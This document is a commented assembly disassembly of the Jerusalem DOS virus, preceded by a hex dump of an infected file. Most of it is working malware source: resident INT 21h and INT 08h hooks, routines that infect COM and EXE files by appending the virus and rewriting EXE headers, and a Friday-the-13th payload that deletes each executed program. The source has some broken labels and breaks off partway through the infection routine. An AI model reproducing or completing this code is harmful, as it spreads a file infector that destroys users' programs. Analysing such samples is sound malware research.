;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910 4D 73 44 6F 73
;-----------------------------------------------------------------------;
END
@@ -0,0 +1,882 @@
PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
PUSH CX ;
PUSH SI ;
MOV CX,4001H ;
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECT PROCESS SEEMS TO OCCUR HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
